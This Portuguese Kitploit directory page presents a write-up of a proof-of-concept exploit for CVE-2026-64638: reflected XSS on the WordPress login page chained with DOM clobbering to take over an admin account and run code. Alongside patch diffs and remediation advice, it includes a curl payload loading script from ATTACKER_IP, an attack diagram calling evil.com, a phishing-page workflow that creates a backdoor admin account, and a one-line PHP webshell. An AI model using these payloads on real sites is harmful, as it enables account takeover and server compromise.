Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-64638 — Exploit de prova de conceito para CVE-2026-64638: XSS refletido no login do WordPress combinado com DOM clobbering para obter assunção de conta de administrador e execução remota de código. | Kitploit
Ferramentas/GitHubGitHub/dungsocool/cve-2026-64638
Ferramentas de PhishingAnálise de VulnerabilidadesAnálise de CódigoExploraçãoExploração de Aplicações WebSegurança WebDesenvolvimento de Payloads
GitHubdungsocool/cve-2026-64638

CVE-2026-64638

Exploit de prova de conceito para CVE-2026-64638: XSS refletido no login do WordPress combinado com DOM clobbering para obter assunção de conta de administrador e execução remota de código.

Ver Repositório
há 13 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-64638

XSS Refletido na Tela de Login Levando à Execução de Código PHP — WordPress Core

Software: WordPress Core ≤ 7.0.2 (todas as versões anteriores à 7.0.3)

CVSS: 8.9 (Alto)

CWE: CWE-79 — Neutralização Incorreta de Entrada Durante a Geração de Páginas Web

Autenticação Necessária: Nenhuma (Pré-Auth)

Interação do Usuário: Ativa (o admin precisa clicar em 1 link)

Impacto: XSS → Tomada de Conta → Execução Remota de Código


1. O que é esta vulnerabilidade?

WordPress é o sistema de gerenciamento de conteúdo mais popular do mundo, sendo responsável por mais de 40% de todos os sites na internet. Todo site WordPress tem uma página de login em /wp-login.php — este é um endpoint público que qualquer pessoa pode acessar sem autenticação.

Quando um usuário insere um nome de usuário incorreto, o WordPress exibe uma mensagem de erro contendo exatamente o nome de usuário que o usuário acabou de digitar: “O nome de usuário X não está registrado neste site.” O problema está no fato de que o valor do nome de usuário é colocado diretamente na resposta HTML sem passar por nenhuma função de escape — um atacante só precisa inserir HTML/JavaScript em vez de um nome de usuário real, e o código será executado no navegador.

Esta é uma falha de XSS Refletido — o payload está contido na requisição e é refletido de volta de forma idêntica pelo servidor no HTML. O que a torna perigosa é que a falha reside na página de login — um local frequentemente acessado por admins, onde cookies de sessão de admin podem ser roubados.

A equipe de pesquisa descobriu ainda que este XSS pode ser encadeado com uma vulnerabilidade de DOM clobbering no emoji-loader do WordPress, permitindo que JavaScript seja carregado de um servidor externo. A partir daí, um atacante pode criar uma nova conta de admin → instalar um plugin contendo um webshell → executar código PHP no servidor. Esta cadeia de exploração é chamada de XSS2Shell.

2. Explicação de Terminologia

DOM Clobbering e emoji-loader

O WordPress carrega suporte a emojis em todas as páginas (incluindo a página de login) através do arquivo emoji-loader.js. Este script lê a configuração de um elemento com id="wp-emoji-settings":

root@kitploit:~
// Before patch (vulnerable)
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

document.getElementById() retorna o primeiro elemento no DOM com um id correspondente. Se um atacante injeta um <div id="wp-emoji-settings"> antes da tag de script original, getElementById lerá o conteúdo do atacante em vez da configuração real. Esta técnica é chamada de DOM clobbering — sobrescrever o comportamento do JavaScript injetando elementos HTML.

A configuração de emoji contém uma URL para carregar um arquivo JavaScript (concatemoji). O atacante controla esta URL → carrega um arquivo JS de um servidor externo → executa código arbitrário no contexto do navegador.

De XSS a RCE no WordPress

Uma vez que a execução de JavaScript no contexto de admin é alcançada, o atacante tem privilégios totais de admin do WordPress:

  1. Criar uma nova conta de admin — chamar /wp-admin/user-new.php com a sessão do admin
  2. Instalar um plugin contendo código PHP — fazer upload de um plugin via /wp-admin/plugin-install.php
  3. Modificar um arquivo de tema — inserir um backdoor PHP via o Editor de Temas

Qualquer um dos 3 métodos acima permite a execução de código PHP no servidor — ou seja, RCE.

3. Análise do Código-Fonte — Causa Raiz

Passo 1: Localizar o Sink — Onde o nome de usuário é colocado no HTML

A partir do commit de correção 0d6d42e no wordpress-develop, identifiquei 3 locais no arquivo wp-includes/user.php onde o nome de usuário/email é colocado diretamente na mensagem de erro:

root@kitploit:~
# View diff between vulnerable and patched versions
git diff 7.0.2..7.0.3 -- src/wp-includes/user.php

Local 1 — Linha 189 (nome de usuário não existe):

Antes :

root@kitploit:~
// BEFORE (vulnerable):
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    $username      // ← no escaping
)

image.png

Depois :

root@kitploit:~
// fixed:
sprintf(
    __( 'The username <strong>%s</strong> is not registered...' ),
    esc_html( $username )    // ← escaped
)

Local 2 — Linha 216 (senha incorreta):

Antes :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $username . '</strong>'    // ← no escaping

Depois :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $username ) . '</strong>'

Local 3 — Linha 299 (senha incorreta para email):

Antes :

image.png

root@kitploit:~
// BEFORE:
'<strong>' . $email . '</strong>'    // ← no escaping

Depois :

root@kitploit:~
// AFTER:
'<strong>' . esc_html( $email ) . '</strong>'

Passo 2: Rastrear a Fonte — De onde vêm os dados?

Fluxo de dados da requisição POST até a mensagem de erro:

root@kitploit:~
$_POST['log']                           ← user input from login form
    ↓
wp_signon() [user.php:51]
    $credentials['user_login'] = wp_unslash($_POST['log'])     ← only removes backslashes
    ↓
wp_authenticate($username, $password) [pluggable.php:689]
    $username = sanitize_user($username)     ← strips HTML tags, but has a bypass
    ↓
wp_authenticate_username_password() [user.php:153]
    get_user_by('login', $username)          ← user not found
    ↓
    sprintf('The username <strong>%s</strong>...', $username)   ← XSS!
    ↓
WP_Error → login_header() → wp_admin_notice()
    wp_kses_post(...)     ← filters HTML but allows <div>, <a>,  through
    ↓
HTML response → browser render → JavaScript execute

Passo 3: Duas Camadas de Defesa, Pontos Fracos e Confirmação via Depuração

O WordPress tem 2 camadas de filtragem antes que o nome de usuário chegue ao HTML:

Camada 1: sanitize_user() — Chama strip_tags() para remover tags HTML. No entanto, o strip_tags() do PHP tem limitações conhecidas: formatação de tag não padrão pode contornar o filtro.

Camada 2: wp_kses_post() — Permite a passagem de um subconjunto seguro de HTML, incluindo <div>, <a>, `` com certos atributos (mas remove manipuladores de eventos como onerror, onload). Crucialmente: wp_kses_post permite <div id="wp-emoji-settings"> — exatamente o elemento necessário para DOM clobbering.

A equipe pwn.ai encontrou uma maneira de contornar ambas as camadas para injetar um payload útil. Detalhes técnicos específicos não foram divulgados publicamente.

Depuração com Xdebug — Confirmação do Fluxo de Dados

Para confirmar visualmente que o nome de usuário vai direto para o HTML sem escape, usei Xdebug + VS Code para colocar breakpoints em pontos-chave da cadeia de execução.

Passo 1 — Inserir o payload XSS no formulário de login:

Acesse http://localhost:8282/wp-login.php, insira o nome de usuário como `` e clique em Log In. Um popup de alerta aparece — o XSS funciona.

image.png

image.png

Passo 2 — Breakpoint em user.php:184 — Onde o XSS ocorre:

Defina um breakpoint em return new WP_Error(...) dentro da função wp_authenticate_username_password(). Quando o depurador parar, observe:

  • Painel Variables → Locals: $username = "" — payload HTML intacto, sem escape
  • Painel Superglobals → $_POST: log = "" — confirma que o payload se origina da entrada do formulário
  • Painel Call Stack: wp_authenticate_username_password() → WP_Hook->apply_filters → apply_filters → wp_authenticate → wp_signon → {main} wp-login.php

image.png

O valor $username vai de $_POST['log'] → wp_unslash() → (contorna sanitize_user) → sprintf() para a mensagem de erro nas linhas 186-189 — nenhum esc_html() no meio. No laboratório, sanitize_user() foi comentado para simular o bypass descoberto pela pwn.ai.

Passo 3 — Breakpoint em functions.php:9200 — Saída Final:

Defina um breakpoint em echo wp_get_admin_notice( $message, $args ) — esta é a última linha antes que o HTML seja enviado ao navegador:

  • Painel Variables → Locals: $message = "<p><strong>Error:</strong> The username <strong></strong> is not registered...</p>" — o payload reside intacto dentro da mensagem de erro em HTML
  • A linha 9200 no laboratório não tem wp_kses_post() envolvendo-a (removida para simular o bypass), então o payload vai diretamente para o navegador

image.png

No WordPress original, esta linha é echo wp_kses_post( wp_get_admin_notice(...) ) — wp_kses_post() removerá o atributo onerror mas permitirá a passagem de <div id="wp-emoji-settings"> porque <div> está na lista de permissões. Este é exatamente o vetor para o ataque de DOM clobbering.

Passo 4: Segundo Commit de Correção — Endurecendo o emoji-loader

O commit a12c8f5 modifica emoji-loader.js para bloquear DOM clobbering:

root@kitploit:~
// BEFORE (vulnerable): accepts any element with a matching id
const settings = JSON.parse(
    document.getElementById('wp-emoji-settings').textContent
);

// AFTER (fixed): only accepts <script> element
const selector = 'script#wp-emoji-settings';
const script = document.querySelector(selector);
if (!(script instanceof HTMLScriptElement)) {
    throw new Error(`Element missing:${selector}`);
}
const settings = JSON.parse(script.text);

A correção muda 3 coisas:

  1. Usa querySelector('script#...') em vez de getElementById — só corresponde a tags <script>
  2. Verifica instanceof HTMLScriptElement — impede DOM clobbering via <div> ou ``
  3. Usa .text em vez de .textContent — .text é uma propriedade específica de HTMLScriptElement

Após a correção, mesmo que um atacante consiga injetar <div id="wp-emoji-settings">, o emoji-loader o ignorará porque não é um elemento <script>.

4. Cadeia de Ataque — XSS2Shell

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│  ATTACKER                                                       │
│  Creates phishing link containing XSS payload                   │
│  POST /wp-login.php with log=<div id="wp-emoji-settings">       │
│  {"source":{"concatemoji":"https://evil.com/rce.js"}}           │
└────────────────────────┬────────────────────────────────────────┘
                         │ Sends link to admin (email, chat, etc.)
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ADMIN CLICKS LINK                                              │
│  Browser POSTs to /wp-login.php → server reflects payload       │
│  → <div id="wp-emoji-settings"> appears in HTML                 │
└────────────────────────┬────────────────────────────────────────┘
                         │ emoji-loader.js executes
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  DOM CLOBBERING                                                 │
│  getElementById('wp-emoji-settings') → returns attacker div     │
│  JSON.parse(div.textContent) → reads fake configuration         │
│  Loads script from https://evil.com/rce.js                      │
└────────────────────────┬────────────────────────────────────────┘
                         │ JS executes in admin context
                         ▼
┌─────────────────────────────────────────────────────────────────┐
│  ACCOUNT TAKEOVER + RCE                                         │
│  1. Fetch /wp-admin/user-new.php → get nonce                    │
│  2. POST create new admin account (backdoor)                    │
│  3. Login using backdoor account                                │
│  4. Install plugin containing PHP webshell                      │
│  5. Call webshell → RCE on server                               │
└─────────────────────────────────────────────────────────────────┘

5. POC — Reprodução em Laboratório

5.1 Verificar endpoint — XSS Básico

Acesse http://localhost:8282/wp-login.php, insira:

  • Nome de usuário: ``
  • Senha: arbitrária

Clique em Log In. Se um popup de alerta mostrando "localhost" aparecer → o XSS funciona.

Resultado — payload refletido intacto no HTML:

image.png

5.2 DOM Clobbering — Injetar configurações falsas de emoji

Payload mais complexo — injetar <div> com id="wp-emoji-settings" contendo JSON apontando para o arquivo JS do atacante:

image.png

root@kitploit:~
# Payload: inject div clobber emoji-settings
PAYLOAD='<div id="wp-emoji-settings">{"source":{"concatemoji":"http://ATTACKER_IP:9999/evil.js"},"readyCallback":null}</div>'

curl -s -b /tmp/wp-cookies.txt -X POST "http://localhost:8282/wp-login.php" \
  --data-urlencode "log=${PAYLOAD}" \
  -d '&pwd=test&wp-submit=Log+In&testcookie=1' \
  | grep "wp-emoji-settings"

Se a saída HTML contiver <div id="wp-emoji-settings"> com o JSON do atacante → o emoji-loader carregará o JS do servidor do atacante.

5.3 Cadeia completa — XSS2Shell com exploit.py

Passo 1: Executar o servidor de exploit

root@kitploit:~
python exploit.py --target http://localhost:8282 --lhost 127.0.0.1 --lport 9999

O script exploit.py serve 2 coisas:

  • http://127.0.0.1:9999/phish.html — página de phishing se passando pela Atualização de Segurança do WordPress
  • http://127.0.0.1:9999/evil.js — payload JS que cria uma conta de admin backdoor

Passo 2: Admin clica no link de phishing

O atacante envia o link http://127.0.0.1:9999/phish.html ao admin via email/chat. Quando o admin clica:

  1. A página de phishing faz auto-POST para /wp-login.php com nome de usuário contendo o payload XSS
  2. A página de login renderiza → <div id="wp-emoji-settings"> aparece no HTML
  3. emoji-loader.js lê a div falsa → carrega evil.js do servidor do atacante
  4. evil.js roda no navegador do admin → busca /wp-admin/user-new.php para obter o nonce → cria a conta backdoor_xss2shell / Pwn3d!XSS2Shell

image.png

Todo o processo ocorre automaticamente; o admin apenas vê a página de login normal com o erro "nome de usuário não encontrado".

Passo 3: Atacante faz login e envia o webshell

No laboratório, o admin já estava logado com admin / admin123, então evil.js rodou imediatamente. Após obter acesso à conta, enviei imediatamente um webshell via Plugin:

image.png

root@kitploit:~
<?phpif(isset($_GET['cmd'])) { system($_GET['cmd']); } ?>

Passo 4: RCE — executar comandos no servidor

image.png

image.png

A saída retornou www-data — o atacante agora tem privilégios de execução de comandos no servidor.

6. Severidade e Impacto

Impacto no Mundo Real

  • Afeta todas as versões do WordPress anteriores à 7.0.3
  • O endpoint /wp-login.php é sempre público e não pode ser ocultado (a menos que se usem plugins para alterar a URL de login)
  • A página de login é um alvo natural de phishing — admins estão acostumados a clicar em links para páginas de login
  • A cadeia de exploração XSS → DOM Clobbering → Tomada de Admin → RCE não requer condições especiais além de 1 clique do admin
  • Mesmo sem encadear até RCE, o XSS na página de login permite roubar cookies de sessão (se HttpOnly não estiver definido corretamente) ou credenciais via phishing

7. Remediação

Corrigido no WordPress 7.0.3

Correção 1 — Escapar a saída (user.php):

root@kitploit:~
// Add esc_html() to everywhere username/email appears in error messages
esc_html( $username )
esc_html( $email )

Correção 2 — Endurecer o emoji-loader (emoji-loader.js):

root@kitploit:~
// Only accept <script> element, do not accept <div> or other elements
const script = document.querySelector('script#wp-emoji-settings');
if (!(script instanceof HTMLScriptElement)) {
    throw new Error('Element missing');
}

Correção 3 — Escapar a URL (wp-login.php):

root@kitploit:~
// Add esc_url() for wp_login_url() in registration messages
esc_url( wp_login_url() )

O Que os Admins do WordPress Devem Fazer

  1. Atualizar para o WordPress 7.0.3 imediatamente — correção lançada em 08/06/2026
  2. Se estiver usando uma versão mais antiga (6.x, 5.x, 4.7+), o WordPress fez backport da correção
  3. Verifique os logs de acesso: procure por requisições POST para /wp-login.php com payload HTML no parâmetro log
  4. Considere usar regras de WAF para bloquear tags HTML nos campos do formulário de login
  5. Revise a lista de usuários admin — se contas desconhecidas forem encontradas, o site pode ter sido comprometido

Lições para Desenvolvedores

  1. Sempre escape a saída, não confie apenas na sanitização da entrada. sanitize_user() é projetado para normalizar nomes de usuário, não para prevenir XSS. Defesa em profundidade: escapar no ponto de saída (esc_html, esc_attr, esc_url) é a camada de defesa final e mais crítica.
  2. Não use getElementById para dados sensíveis à segurança. DOM clobbering pode injetar um elemento falso com o mesmo id. Use querySelector com nome de tag específico + verificação instanceof.
  3. wp_kses_post não é um filtro de XSS. Ele é projetado para permitir HTML seguro no conteúdo de posts — não para bloquear XSS em outros contextos. Cada contexto requer sua função de escape dedicada.
Baixar ferramenta
AtributoValor
CVE IDCVE-2026-64638
Pontuação CVSS8.9 (Alto)
SoftwareWordPress Core ≤ 7.0.2
AutenticaçãoNenhuma necessária (Pré-Auth)
Interação do UsuárioRequer 1 clique (admin clica no link)
Complexidade do AtaqueAlta
CorrigidoWordPress 7.0.3 (08/06/2026)
Relatorequipe pwn.ai via HackerOne
Relatório HackerOne#3877102
Métrica CVSSValorMotivo
Vetor de AtaqueRedeVia HTTP, enviando link para a vítima
Complexidade do AtaqueAltaRequer contornar sanitize_user() + wp_kses_post(), requer clique da vítima
Privilégios NecessáriosNenhumO endpoint de login não requer autenticação
Interação do UsuárioAtivaO admin deve clicar no link de phishing
ConfidencialidadeAltaLer cookies, sessão, conteúdos do painel admin
IntegridadeAltaCriar conta admin, instalar plugin, modificar arquivos
DisponibilidadeAltaRCE → controle total do servidor